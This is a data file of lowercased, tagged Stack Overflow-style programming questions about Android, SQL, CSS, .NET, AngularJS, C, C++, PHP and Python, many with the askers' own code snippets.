how do i display a widget on the android desktop   in the program ttpod  a feature exists in it when you click the  display desktop lyrics   it has a widget that seems to go over any application i open.  i was wondering how to create a button on the screen that would be displayed over any applications i d open in the future.  thank you for your help.,android
max number of team members  ok  so i m dealing with this messy sql statement.     what i am trying to do is  count the number of team members on a project (including project manager). when project details are created  members from the <code>members</code> table are written to the <code>projectiterationmembers</code> table. a project can consist of 1 or many iterations.     what is happening right now is that when i add a second iteration and assign the same people to the project  i get two sets of data - <code>project name  5</code>....<code>project name  10</code>. how can i make sure that only the max count of members is displayed  thanks in advance!   <pre><code>select      distinct(project.projectname)       project.projectid       project.status       project.companyid       project.startdate         m.memberid      m.firstname +     + m.lastname as projectmanager      (select count(memberid)          from projectiterationmember          where projectiterationid = i.projectiterationid) as membercount  from     project      member m      projectiterationmember      iterations i  where      m.companyrole in ( project manager    admin )  and project.companyid =    + co_id +    and m.memberid = projectiterationmember.memberid  and i.projectiterationid = projectiterationmember.projectiterationid  and i.projectid = project.projectid order by project.startdate desc </code></pre>,sql
how to find a certain  term  thing in a file using python  i am going to make something for my local network friends to use  and adding in a login feature to make it where others couldn t steal there username. in a separate txt file  i store the login information. and i need help on pulling the information for the user and comparing them.   <pre><code> username:password   username2:password2   username3:password3   username4:password4  </code></pre>   so they enter  username  and it compares what they entered for password to  password   or if they enter username2 it will compare there response to password2.  i am guessing it will need to read the file and user s.split( : )[0] and s.split( : )[1] i do not know how to pull the information and compare. please help   thanks richard,python
compare list of items then split  i have created 3 different list variable which will contains data for add delete and update. i have to compare data with <code>existingitems</code> to <code>newitemlist</code> then if <code>existingitems</code> have a data but <code>newitemlist</code> not have then the item should be listed in <code>deletelist</code> variable. like this way if <code>newitemlist</code> have a data but <code>existingitems</code> not have then the item should be listed in <code>addlist</code>. and finally when <code>existingitems</code> <code>newitemlist</code> match it will be add to <code>updatelist</code>. please note the id is unique to compare matching and <code>existingitems</code> and <code>newitemlist</code> both data models type is exactly same as <code>item</code> class. i already tried to filter <code>addlist</code> using except() method but this wont work for me because i want to compare by only id not price.        main codes:   <pre><code>var addlist = new list&lt;item&gt;(); var updatelist = new list&lt;item&gt;(); var deletelist = new list&lt;item&gt;();  addlist = eixistingitems.except(newitemlist).tolist(); </code></pre>   item class:   <pre><code>using system; using system.collections.generic; using system.linq; using system.text; using system.threading.tasks;  namespace testproj.models {     class item      {         public int id { get; set; }         public int price { get; set; }     } } </code></pre>,c#
how to show list items in menu when hover on the parent s it via css   i want when mouse hover (#cssmenu ul > li > ul > li ) run blow code .is it possible    <pre><code>#cssmenu ul &gt; li &gt; ul &gt; li &gt; ul {         right: 1170px;     } </code></pre>,css
how to determine what version of .net   i won t bore you with the details  but we had software developed by another company and all they provided us with was the .dll      it s not the most stable of company so we are thinking of bringing the development in house.  they want to charge us for the source code...but we would rather not.    as such  i would like to know if there is a way  based upon the program that we currently see running  and without documentation on the environment  is there a way to tell:    1)  what version of .net it is running on  2)  c#.net or vb.net  3)  what version of sql server it uses  4)  any other pertinent information we might be able to find out about the environment and coding behind the actual program we see running.    thanks,.net
how to parse an object from select to integer in angularjs   when using angular ngoptions in select  my model attribute is updated with object  not its id  what s desired in my case. i ve tried <code>$parsers</code> and <code>$formatters</code>  but it doesn t work.     basically i want instead of sending <code>{id:0 name: exercise }</code> from    <pre><code>$scope.room_types = [   {id:0 name: exercise }    {id:1 name: laboratory }    {id:2 name: lecture } ]; </code></pre>   to send its id value (and ofc the other way round). is there any nice way to achieve this,angularjs
what is the use of ## preprocessor in c <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1489932/c-preprocessor-and-concatenation >c preprocessor and concatenation</a>    </blockquote>     can anybody explain with example,c
determining if a div contains a table element in jquery  for my accordion  each time the user clicks on the header  i want to see if accordion-content contains a table  if not  generate one and add it to accordion-content. but how do you check if the current element contains a certain type of element    <pre><code>   &lt;div class= a-header &gt;        &lt;ul&gt;&lt;li&gt;&lt;/li&gt;&lt;/ul&gt;     &lt;/div&gt;     &lt;div class= a-content &gt;     &lt;/div&gt;      $( .a-header ).click(function(){        var currentheader = $(this).next();        //if currentheader contains  table  }); </code></pre>   thanks.,jquery
why ng-value is not working with simple variables   this code works great. when we select the radio button it display the value.   <pre><code> &lt;script type= text/javascript &gt; var sampleapp = angular.module( sampleapp  []); sampleapp.controller( samplectrl   [ $scope   function($scope){     $scope.names = [ a   b   c   d   e ];     $scope.beststudent = {studname:  d }; }]) &lt;/script&gt;  &lt;ul&gt;   &lt;li ng-repeat= name in names &gt;     &lt;input type= radio  name= sudents  ng-model= beststudent.studname  ng-value= name &gt;     {{name}}  &lt;/li&gt; &lt;/ul&gt; selected value is: {{beststudent.studname}} </code></pre>   but this is not working when i declare beststudent like this    <pre><code>$scope.beststudent =  d ; </code></pre>   and    <pre><code>&lt;input type= radio  name= sudents  ng-model= beststudent  ng-value= name &gt;{{name}} </code></pre>   why do i need the values in key-value pair,angularjs
how do i change notice & alert s class   i m trying to adjust the standard application template in rails to insert a class around the notice and alert messages  but i can t seem to find an elegant way of doing it.    at present  i have the scaffold:   <pre><code>  &lt;p class= notice &gt;&lt;%= notice %&gt;&lt;/p&gt;   &lt;p class= alert &gt;&lt;%= alert %&gt;&lt;/p&gt; </code></pre>   i want it to only show the surrounding tags if a notice or alert is present.,ruby-on-rails
changing frame of many uiobjects with same code  i wanted to apply this same effect to 10 uiobjects (most of them are uiimageviews) at the same time. this is the animation:   <pre><code>[uiview animatewithduration:0.7f                  animations:^{  woodenbackground1.frame = cgrectmake(self.woodenbackground1.frame.origin.x - 900 self.woodenbackground1.frame.origin.y  self.woodenbackground1.frame.size.width  self.woodenbackground1.frame.size.height);  woodenbackground.frame = cgrectmake(self.woodenbackground1.frame.origin.x - 900 self.woodenbackground2.frame.origin.y  self.woodenbackground1.frame.size.width  self.woodenbackground2.frame.size.height); </code></pre>   .....    is there a way to do it  how can i repeat it for that many objects instead of repeating the code itself,ios
creating an empty vector and read the file char by char. (c++)  i need to create an empty vector that then opens and reads a file character by character and when it sees a digit  it puts the character back in the stream and reads the amount of money for the corresponding company as a number. i then need to construct a company object using the name and money amount.     what i have so far....   <pre><code>int main(){  //function string readcompanyinfo(double money);  //handles the file ofstream company( companymoney.txt );      std::vector&lt;int&gt; v;     int sum (0);      for (int i=1;i&lt;=10;i++) v.push_back(i);      while (!v.empty())          {sum += v.back(); v.pop_back();}       std::cout &lt;&lt; sum &lt;&lt;  \n ;      return 0; </code></pre>   thats the function  opening of the file  and an empty file. how would i go about reading the file and getting back the results i am looking for in the directions   thanks for any help  i m new at the obviously and if i can just see something correct  i have something to work off of in the future  thanks guys.,c++
unity and .net framework versions  i am looking to use an ioc container in my current project which is in .net 2.0. can anyone tell me what framework versions does  unity  work with  does it require .net 3.5  i looked at the ms documentation and couldn t find anything about supported .net versions.    regards  ilias,.net
"dropdown button holder issue  i m having issues getting this button to stay in the button holder which floats above my site content. how would i add a drop down menu and this keep it in the same button holder.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.btn-holder {
 background: rgba(255  255  255  0.5);
 position: static;
 z-index: 10;
 bottom: 0;
 right: 0;
 left: 0;
 top: 0;
 }
 .button {
   transform: translate(-50%  -50%);
   background-color:  #a137a7;
   border: none;
   color: white;
   padding: 8px 13px;
   text-align: center;
   text-decoration: none;
   font-size: 16px;
   position: absolute;
   cursor: pointer;
   right: -1%;
   bottom: -1%;
   font-family: source sans pro   sans-serif;
 opacity: .8; }
 
 .button:hover {
     background-color: #732878; /* green */
     color: white;
 } </code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div class= btn-holder &gt;
   &lt;div class= button &gt;&lt;a href= / &gt;&lt;img class= img-responsive2        
        src= http://static.tumblr.com/e2rgcy1/e6yod1iwo/pop-out-icon.png &gt;&lt;/a&gt;&lt;/div&gt;
 &lt;/div&gt;
 
 
 
 
 &lt;!-- begin snippet: js hide: false console: true babel: false --&gt;</code></pre>
 </div>
 </div>",css
any1 know how to fix so div dont start a new line   any1 knwo to fix my html    <hr>  <pre><code>    &lt;style&gt;     @font-face {         font-family: pcdown;         src: url(pdown.ttf);     }     .tiny {         font-size: 29px;         position: absolute; right: 10;     }     #money {         font-family: pcdown;         font-size: 35px;         color: white;         padding: 4px;     text-shadow:        -1px -1px 0 #000          1px -1px 0 #000          -1px 1px 0 #000           1px 1px 0 #000;             }      #container {         position: absolute;         top: 40; right: 40;     } &lt;/style&gt; </code></pre>               <pre><code>&lt;/div&gt; &lt;div style= display: inline  id= container &gt;     &lt;div style= display: inline  id= money &gt;&lt;img src= https://i.gyazo.com/0cd06472f3592108d5d5ae080693e835.png  height= 32  width= 32 &gt;     &lt;div style= display: inline  id= cash /&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>      <hr>   i have a fivem server and i trying to change money (wallet) icon for client and i have tried 5 times now but i dont succed so now i will put it up online,html
application build not loaded on device  when i tried to upload a build on device it give the following error. your mobile device has encountered an unexpected error <code>(0xe8000001)</code>    i am unable to solve this problem. can anyone tell me why this is happening,iphone
is there a  with  statement in objective-c   i m looking for something like:   <pre><code>with car.body.wheel  begin .airpressure = 3.0; .diameter = 20; end </code></pre>   i could write a macro for it i guess  but was wondering if there is anything build-in.,objective-c
how to apply lock to 2 functions in javascript  how to apply a lock to 2 functions so that the 1st function gets executed 1st and then the second function executes when called simultaneously.    the 2 functions are :   <pre><code>function f1(){    //some code here }  function f2(){    //some code here } </code></pre>,javascript
how to solve this non-const reference must bind to lvalue  the reference of a base class pointer can not bind to the derived class poiner    <pre><code>class base {  }; class derived : public base {  }; int main() {     derived va;     derived *p = &amp;va;     base * &amp;rp = (base*)p;    //wrong  non-const reference must bind to lvalue     return 0; }  </code></pre>,c++
"border-box not working  i am trying to have my chipped edge match the box size. i tried box-sizing in a number of situations but could not make it work.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>.box {
  background-color: #009fbd;
   width: 100%;
 }
 
 .box p {
   color: #fff;
 }
 
 .chipped-corner:before {
   content:   ;
   position: absolute;
   bottom: 5px;
   left: 15px;
   display: block;
   height: 0;
   width: 100%;
   border-top: 7px solid #009fbd;
   border-right: 7px solid transparent;
   box-sizing: border-box;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;link rel= stylesheet  href= //maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css &gt;
 &lt;div class= col-xs-4 col-sm-3 &gt;
     &lt;div class= text-center chipped-corner &gt;
       &lt;div class= box &gt;
         &lt;div&gt;
           &lt;p&gt;pulp fiction&lt;/p&gt;
           &lt;p&gt;best movie ever.&lt;/p&gt;
         &lt;/div&gt;
       &lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;</code></pre>
 </div>
 </div>
     something like this:    <a href= https://i.stack.imgur.com/n7yok.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/n7yok.png  alt= enter image description here ></a>",css
matching string with regex containing colon  i try to match different date formats that i parse from different files. one date format is for example:  thu  12 nov 2009 14:17:44 -0000     when i try to match this string with the first regex i get a true result  when i use the second one i get false.   <pre><code>[a-za-z]{3} \\s+\\d{2}\\s+[a-za-z]{3}\\s+\\d{2}.*   (1. regex) [a-za-z]{3} \\s+\\d{2}\\s+[a-za-z]{3}\\s+\\d{2}:.*  (2. regex) </code></pre>   in my opinion both regex should match the above date format. where is my failure,java
when to use a array() over generic.lists in .net  when is it appropriate to use an array over a generic list(of t) in .net    i have struggled to see any benefit an array provides over the generic list but get the feeling i may be missing something. performance is one thing that struck me as one potential bottleneck       thanks,.net
is there a generic version of the hybriddictionary   the description of system.collection.specialized.hybriddictionary is this:   <blockquote>    implements idictionary by using a   system.collections.specialized.listdictionary   while the collection is small  and   then switching to a   system.collections.hashtable when the   collection gets large.  </blockquote>   is there an equivalent generic implementation,.net
how to make an independent div over other divs   i made a theme with a navigation menu at top like this;   <pre><code>width= 100%  height= 100  </code></pre>   the left area contains customers logo at 100px height. however  they want logo to be bigger in side  say 200px. i don t want to increase the size of my div s size  instead  i want to make a new div at 200px-200px  put the logo inside it  and put that logo div over the navigation div.    how can i make an independent div like this,css
type of values in .net - is string a separate type   we have <code>object</code> and <code>valuetype</code>.... and <code>string</code>....    string is derived from object  but it is immutable. is it considered a type of it s own as it doesn t behave like other objects  is it the only object that has this immutable behaviour  is it the runtime  compiler or library that defines this  and are there other cases like this in .net     <strong>edit</strong>: yes  i too create classes that isn t allowed to change after constructed; immutable objects. but isn t string more special than this,.net
python text rpg inventory system  i m making a text-based rpg with python 3.3 and i am wanting a more dynamic inventory system for my game. i am currently using variables assigned to each item but with functions  the variables i am passing as arguments are becoming too many and quite cluttered. if there is a better way out there i would love help creating a better system.    here is how my inventory call system looks right now:   <pre><code>print( item1  item1) print( item2  item2) print( item3  item3) </code></pre>   and so on.,python
how could you generate an apk from project b programmatically  using a button click from project a   i have a project a that should use a wizard to create a project b. project b is based on a template. project a should send data to that template and generate an apk from this data and template programmatically.    i ve read about the apk structure and what it includes  like classes  resources  and manifest files. my question is  what is the best way to achieve this template-based generation of an apk  what could i use for this,android
where need to set display block and where not  my question is where i need to set display:block; to a element  i use in header section and footer but my question i have some box inside images and text there need set display block    <blockquote>    header section footer{display:block;}  </blockquote>   set it for ul class elements  where is posible no set display block   <blockquote>    .box{display:block;}  </blockquote>,css
lazy-load external javascript in one of angularjs controller  some of my routes needs functionality from external js. i don t want to load them all at once since those js are needed only in certain routes (e.g. <code>/upload</code> needs some js for photo uploading  <code>/photos</code> needs another js for lightbox  <code>/funny</code> needs js for animation stuff  etc).     what s the best practice for lazily loading those external javascripts     those routes can be accessed multiple times (e.g. user can go to <code>/upload</code> then <code>/photos</code> then <code>/upload</code> again),angularjs
unslider css: images are not contained on the page   the live site is on <a href= http://cbbp.github.io  rel= nofollow >this website</a>  i was not able to reproduce on a fiddle  and am trying to still make one.    however  notice that on the unslider  <strong>on the left corner</strong> the images leak into one another  and i am unsure how to curb this behaviour.     any input would be great.,css
in python  how can i read a file stored in a database instead filesystem and use it as parameter on popen  i am running a command from python using subprocess popen. command has a parameter to indicate the path to the file it will use. that file can only be specified via that parameter.    the command would be something like:   <pre><code>command -file /path/to/file </code></pre>   i cannot do something like:   <pre><code>cat /path/to/file | command -file </code></pre>   the problem is that i have that file in a database  which i read it from my python app. i would like to avoid having to save temporarily the file to disk and specify it in the command.    is there any way to pipe that file in memory to popen as argument for that parameter     thanks!    edit: ok  i should have specified the command and the code  but i did not have it at that moment. i am trying to do an ocsp request for a certificate using openssl. i know there is an openssl module for python  but i want to avoid extra python modules.    this is the python code:   <pre><code>openssl =  /path/to/openssl  ossl = subprocess.popen([openssl   ocsp    -no_cert_verify    -issuer    cacert.cer    -serial    0x1234    -url   url]  stdout=pipe  stderr=pipe) </code></pre>   i have cacert.cer stored in a database. i have not seen anyway to pass a piped argument to -issuer and i was hoping that there was any way to pipe it somehow using subprocess.pipe,python
cannot connect on itms-services app install  (first off  i ve checked most other stackoverflow pages for answers  and none answer this)    hi there     i m putting an app on my website and am trying to download it onto my ipad. however  whenever i try and do this  i get an error:    cannot connect to     my code is as follows:   <pre><code>&lt;a href= itms-services:// action=download-manifest&amp;url=https://website.com/app.plist &gt;install&lt;/a&gt; (names have been replaced for privacy) </code></pre>   however  i just can t get it to work. does anyone have an answer to this,ios
use the foreign key that a query selects to get data within the same query  i have this issue with a query i am trying to build. the idea is that i have 3 tables where two have foreign keys. i want to make a query that selects the foreign key from table a and uses the same key to get data from key b.     so it will look like this:   <pre><code>select      id  foreignkey1  from      tablea      (select id from tableb where id = foreignkey1); </code></pre>   but somehow i am not able to do this or find any good documentation about it.,sql
mysql alter table auto_increment and order by  i would like alter my table so that the table is sorted alphabetically as well as then reset my auto_increment field (prof_id).     attached is the database structure. the foreign key in  my_contacts  is still null.    i have run an  alter table profession order by profession     <a href= https://i.stack.imgur.com/aw8dd.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/aw8dd.png  alt= enter image description here ></a>,mysql
inner join when only one match exists  consider the following realistic scenario:    you have a table of towns  but want to lookup the respective zip    codes of those towns.  in most cases  this is easy to do since there    is only one zip code per town  but exceptions do apply when dealing    with cities.    you have two tables:   <pre><code>contact town          | zip --------------+---- ft washington | null ambler        | null media         | null ambler        | null new york      | null  cities_extended town          | zip --------------+---- ft washington | 19034 ambler        | 19002 media         | 19063 new york      | 10101 new york      | 10102 new york      | 10103 new york      | 10104 </code></pre>   with an <code>inner join</code> four rows would be returned for the <code>new york</code>.  this is obviously not desirable because that data is inherently inaccurate.    the desired result is as follows:   <pre><code>town          | zip --------------+---- ft washington | 19034 ambler        | 19002 media         | 19063 ambler        | 19002 new york      | null </code></pre>   what is the best way of achieving this goal,sql
is there any way to remove li last child border using only and only css  suppose i have a <strong>ul li structure</strong> and i want to remove <strong>last li border</strong> which also support in <strong>ie 6</strong> by using <strong>only css</strong>(use of css only is compulsory in my project).   <pre><code>&lt;ul&gt;     &lt;li&gt;hi&lt;/li&gt;     &lt;li&gt;hi&lt;/li&gt;     &lt;li&gt;hi&lt;/li&gt;     &lt;li&gt;hi&lt;/li&gt; &lt;/ul&gt;  </code></pre>   i want a such type of output which also work in ie6... <img src= https://i.stack.imgur.com/iuxdl.png  alt= enter image description here >,css
(android) how to set background of textview with black-transparent color  i want to set my background of linearlayout and textview with black-transparent color so that the picture behind them can be seen well.     i tried with the code below  but it doesn t work   <pre><code> &lt;textview     android:id= @+id/text_feed_myplant_comments      android:layout_width= match_parent      android:layout_height= wrap_content      android:text= no comments      android:textsize= 22dp      android:layout_alignparentbottom= true      android:paddingleft= 10dp      android:background= @android:color/transparent /&gt;  </code></pre>,android
invalid cast exception  i am posting this because the last time i asked this question it did not get solved and i cannot seem to solve this on my own. i am very very new to c# and programming  trying to teach myself so and help you can give would be great.     so on to the error :    <blockquote>    unable to cast object of type    system.collections.generic.list<code>1[test.form1+comoditys]  to type    system.collections.generic.list</code>1[test.form2+mycost] .  </blockquote>   form2 code :   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.windows.forms; using system.io; using system.runtime.serialization.formatters.binary;  namespace test { public partial class form2 : form {     public float alligor;     public float briochit;     public float chollonin;     public float espitium;     public float hydrobenol;     public float isopropenetol;     public float metachropin;     public float phlobotil;     public float plasteosine;     public float polynitrocol;     public float polynucleit;     public float prilumium;     public float statchanol;     public float titanium;     public float vitricyl;      public float alligorinput;     public float briochitinput;     public float chollonininput;     public float espitiuminput;     public float hydrobenolinput;     public float isopropenetolinput;     public float metachropininput;     public float phlobotilinput;     public float plasteosineinput;     public float polynitrocolinput;     public float polynucleitinput;     public float prilumiuminput;     public float statchanolinput;     public float titaniuminput;     public float vitricylinput;      public float costofalligor;     public float costofbriochit;     public float costofchollonin;     public float costofespitium;     public float costofhydrobenol;     public float costofisopropenetol;     public float costofmetachropin;     public float costofphlobotil;     public float costofplasteosine;     public float costofpolynitrocol;     public float costofpolynucleit;     public float costofprilumium;     public float costofstatchanol;     public float costoftitanium;     public float costofvitricyl;      public double totalcost;      [serializable]     public class mycost     {         public float secondprice;     }      private list&lt;mycost&gt; costlist = new list&lt;mycost&gt;();      private mycost o1 = null;     private mycost o2 = null;     private mycost o3 = null;     private mycost o4 = null;     private mycost o5 = null;     private mycost o6 = null;     private mycost o7 = null;     private mycost o8 = null;     private mycost o9 = null;     private mycost o10 = null;     private mycost o11 = null;     private mycost o12 = null;     private mycost o13 = null;     private mycost o14 = null;     private mycost o15 = null;      public form2()     {         initializecomponent();          o1 = new mycost();         o2 = new mycost();         o3 = new mycost();         o4 = new mycost();         o5 = new mycost();         o6 = new mycost();         o7 = new mycost();         o8 = new mycost();         o9 = new mycost();         o10 = new mycost();         o11 = new mycost();         o12 = new mycost();         o13 = new mycost();         o14 = new mycost();         o15 = new mycost();          costlist.add(o1);         costlist.add(o2);         costlist.add(o3);         costlist.add(o4);         costlist.add(o5);         costlist.add(o6);         costlist.add(o7);         costlist.add(o8);         costlist.add(o9);         costlist.add(o11);         costlist.add(o12);         costlist.add(o13);         costlist.add(o14);         costlist.add(o15);          filestream df = new filestream( comoditys.dat   filemode.open);         binaryformatter abf = new binaryformatter();         costlist = (list&lt;mycost&gt;)abf.deserialize(df);         df.close();          if (costlist != null)         {             if (costlist.count &gt; 0)                 alligor = costlist[0].secondprice;              if (costlist.count &gt; 1)                 briochit = costlist[1].secondprice;              if (costlist.count &gt; 2)                 chollonin = costlist[2].secondprice;              if (costlist.count &gt; 3)                 espitium = costlist[3].secondprice;              if (costlist.count &gt; 4)                 hydrobenol = costlist[4].secondprice;              if (costlist.count &gt; 5)                 isopropenetol = costlist[5].secondprice;              if (costlist.count &gt; 6)                 metachropin = costlist[6].secondprice;              if (costlist.count &gt; 7)                 phlobotil = costlist[7].secondprice;              if (costlist.count &gt; 8)                 plasteosine = costlist[8].secondprice;              if (costlist.count &gt; 9)                 polynitrocol = costlist[9].secondprice;              if (costlist.count &gt; 10)                 polynucleit = costlist[10].secondprice;              if (costlist.count &gt; 11)                 prilumium = costlist[11].secondprice;              if (costlist.count &gt; 12)                 statchanol = costlist[12].secondprice;              if (costlist.count &gt; 13)                 titanium = costlist[13].secondprice;              if (costlist.count &gt; 14)                 vitricyl = costlist[14].secondprice;          }      }      private void textbox1_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              alligorinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox2_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              briochitinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox3_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              chollonininput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox4_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              espitiuminput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox5_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              hydrobenolinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox6_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {             isopropenetolinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox7_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              metachropininput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox8_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              phlobotilinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox9_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              plasteosineinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox10_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              polynitrocolinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox11_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {             polynucleitinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox12_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              prilumiuminput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox13_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {              statchanolinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox14_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {             titaniuminput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void textbox15_textchanged(object sender  eventargs e)     {         // 1st text box input is float         float tempfloat;            if (float.tryparse(textbox1.text  out tempfloat))         {             vitricylinput = tempfloat;          }         else             messagebox.show( uh oh );        }      private void button1_click(object sender  eventargs e)     {         costofalligor = alligor * alligorinput;         costofbriochit = briochit * briochitinput;         costofchollonin = chollonin * chollonininput;         costofespitium = espitium * espitiuminput;         costofhydrobenol = hydrobenol * hydrobenolinput;         costofisopropenetol = isopropenetol * isopropenetolinput;         costofmetachropin = metachropin * metachropininput;         costofphlobotil = phlobotil * phlobotilinput;         costofplasteosine = plasteosine * plasteosineinput;         costofpolynitrocol = polynitrocol * polynitrocolinput;         costofpolynucleit = polynucleit * polynucleitinput;         costofprilumium = prilumium * prilumiuminput;         costofstatchanol = statchanol * statchanolinput;         costoftitanium = titanium * titaniuminput;         costofvitricyl = vitricyl * vitricylinput;          totalcost = costofalligor + costofbriochit + costofchollonin + costofespitium + costofhydrobenol + costofisopropenetol + costofmetachropin + costofphlobotil + costofplasteosine + costofpolynitrocol + costofpolynucleit + costofprilumium + costofstatchanol + costoftitanium + costofvitricyl;      }      private void textbox16_textchanged(object sender  eventargs e)     {          textbox13.text = totalcost.tostring();          }     }   } </code></pre>   <a href= http://pastebin.com/cry4fjhx  rel= nofollow >form1 can be found here</a>.,c#
add class to div when another div appears in viewport  please see my js fiddle...    not sure why this is not working simply trying to add a class when my hero div appears in the viewport.   <pre><code>$(document).ready(function(){     $( .hero ).bind( inview   function (event  visible) {       if (visible == true) {         // element is now visible in the viewport         $( .home ).addclass( test );       } else {         // element has gone out of viewport          $( .home ).removeclass( test );       }     }); }); </code></pre>   <a href= http://jsfiddle.net/franclowe/kqqds/  rel= nofollow >http://jsfiddle.net/franclowe/kqqds/</a>,jquery
computing previously aligned adress  to get the next aligned address  given a pointer and an aligment  ppl use:   <pre><code>inline int offsetrequiredforalignment( uintptr_t address_p  int alignment_p ){      uintptr_t mask = alignment_p - 1;     uintptr_t amountmisaligned = (address_p &amp; mask );     int offset = (int)(alignment_p - amountmisaligned);      if( offset == alignment_p ) offset = 0;      return offset; } </code></pre>   or some variation of that. how do you compute the previous aligned address,c++
scanf not responding   ive recently begun learning c and am trying to write a password data protection program. im writing a function which should test to see if a file  password.txt exists if it doesnt it will get a null value and then ask the user to set a master password and to repeat. however it doesnt allow the user to repeat the password. any tips  - cheers (keep in mind just c not c++)   <pre><code>/*headers*/ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  #define max_length 99  int main(void){      /*variable declaration*/     char password[] =  lakaka ;      masterpassword();      printf( welcome to fort-knox. );  getchar(); return 0; }  int masterpassword(void){     /*password comparison variables*/     char password[max_length];     char password1[max_length];       file*fp;     if (fp == null){         printf( choose a master password:\n );         scanf( %c   password);         printf( please repeat password:\n );         scanf( %c   password1);          if (password == password1){             printf( password accepted. );             fp = fopen( password.txt    w+ );             printf( file created );             fclose(fp);             return 0;         }     }   } </code></pre>,c
append uploaded file  to new html page  this is the code i use in main   <pre><code> &lt;html&gt;  &lt;body&gt;  &lt;form action= welcome.php  method= post  enctype= multipart/form-data &gt;  &lt;input id= foto1slct  name= foto1  size= 45  type= file  value= upload  accept= image/* &gt;  &lt;input id= invia  type= submit  value= invia &gt;  &lt;/input&gt;  &lt;/form&gt;  &lt;/body&gt;  &lt;/html&gt;  </code></pre>   i use this piece of code in welcome.php to append the uploaded file in the html   <pre><code> &lt;html&gt;  &lt;body&gt;   &lt; php $file =  italia/categoria.html ;  &gt;  &lt; php $current = file_get_contents($file);  &gt;  &lt; php $current .= $_post[ foto1 ];  &gt;  &lt; php file_put_contents($file  $current);  &gt;    &lt;/body&gt;  &lt;/html&gt;  </code></pre>,php
how to check for notice (8) undefined index  i know why i am getting this error  and this is because there currenly no ratings for this specific dish  so it is null or empty but i am not sure how to handle it.. i tried this but still the same error came up..   <pre><code>     if(empty($rate_dishes[$j][ dishrating ][ dish_id ]))      {         echo $this-&gt;form-&gt;hidden( dish_id   array( value =&gt; $this-&gt;params[ var ]));      }      else      {        echo $this-&gt;form-&gt;hidden( dish_id   array( value =&gt; $rate_dishes[$j][ dishrating ][ dish_id ]));      } </code></pre>   basically i am providing the dish id if its not provided by the posted array.. whenever there is a rating for that particular dish it takes the  else  condition.. but if it does not have a rating.. it gets to the first condition and still shows that error..   <pre><code>the url would be  /special_dishes/rate_dishes/4/ var=4 </code></pre>   ps: new to cakephp bare with me,php
jquery - submit of a bunch of slider values  so i have 5 sliders on a web page.  any brilliant solutions as to how to grab their values and submit them to the server (rails in this case) (ajax is ok)     one solution is to use hidden fields and on each slider change to update the corresponding hidden field.  seems kinda lame.    the sliders all have a class of  slider   so i was hoping for some cool approach like    <pre><code>var json = $( .slider ).tojson(); $.ajax({    url:  myurl      processdata: false     data: json     success: handleresponse  } </code></pre>   which would take all the values and put them in a json structure.  however  that doesn t work :(    other ideas,jquery
